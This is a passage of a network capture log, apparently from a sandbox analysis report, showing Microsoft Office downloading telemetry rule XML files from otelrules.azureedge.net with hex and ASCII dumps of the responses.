22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d2130280-a01e-006f-03c7-4313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063718Z-174f7845968pf68xhC1EWRr4h80000001490000000006yev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:19 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063719Z-174f78459688l8rvhC1EWRtzr00000000gsg000000000aa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063718Z-174f78459685726chC1EWRsnbg000000146g000000001929 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:19 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 663f4ef8-b01e-0053-4c19-44cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063719Z-174f7845968psccphC1EWRuz9s000000149g000000006n9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2c78b3d6-001e-0017-21e0-430c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063719Z-174f78459684bddphC1EWRbht400000013t0000000006vsr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 9cdeab1e-301e-0000-22b2-42eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063721Z-174f784596886s2bhC1EWR743w0000001460000000001pgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:21 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063721Z-174f7845968pf68xhC1EWRr4h800000014dg000000000a44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
